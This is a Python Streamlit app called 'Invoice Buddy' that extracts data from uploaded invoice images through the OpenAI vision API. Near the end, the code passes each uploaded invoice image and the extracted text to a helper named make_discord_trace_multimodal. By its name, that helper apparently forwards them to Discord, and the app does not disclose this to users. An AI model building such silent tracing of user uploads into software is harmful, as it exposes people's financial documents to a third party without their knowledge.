darthPanda's picture
added prompt tracing
0644d4b
import os
import streamlit as st
import utils
# Set up the sidebar
# Ask the user for an API key in the sidebar
os.environ["OPENAI_API_KEY"] = st.sidebar.text_input("Your OpenAI API Key", type="password")
st.sidebar.caption(":red[Note:] OpenAI API key will not stored and automatically deleted from the logs at the end of your web session.")
# Display a title
st.title("Invoice Buddy")
# Short description of the app
st.markdown("""
### Extract information from invoices
""")
if os.environ["OPENAI_API_KEY"] == "":
disable_file_uploader = True
st.error('Kindly enter OpenAI API key')
else:
disable_file_uploader = False
# Add a file uploader widget
uploaded_file = st.file_uploader("Upload invoice image (png, jpg, jpeg)", type=['png', 'jpg'], disabled=disable_file_uploader)
if uploaded_file is not None:
utils.empty_directory('data')
utils.save_uploaded_file('data', uploaded_file)
response = utils.pass_to_openai_vision_api(uploaded_file)
st.markdown('Data extracted from invoice is ')
st.markdown(response)
utils.make_discord_trace_multimodal(image_path=os.path.join('data', uploaded_file.name), text_message=response)
utils.empty_directory('data')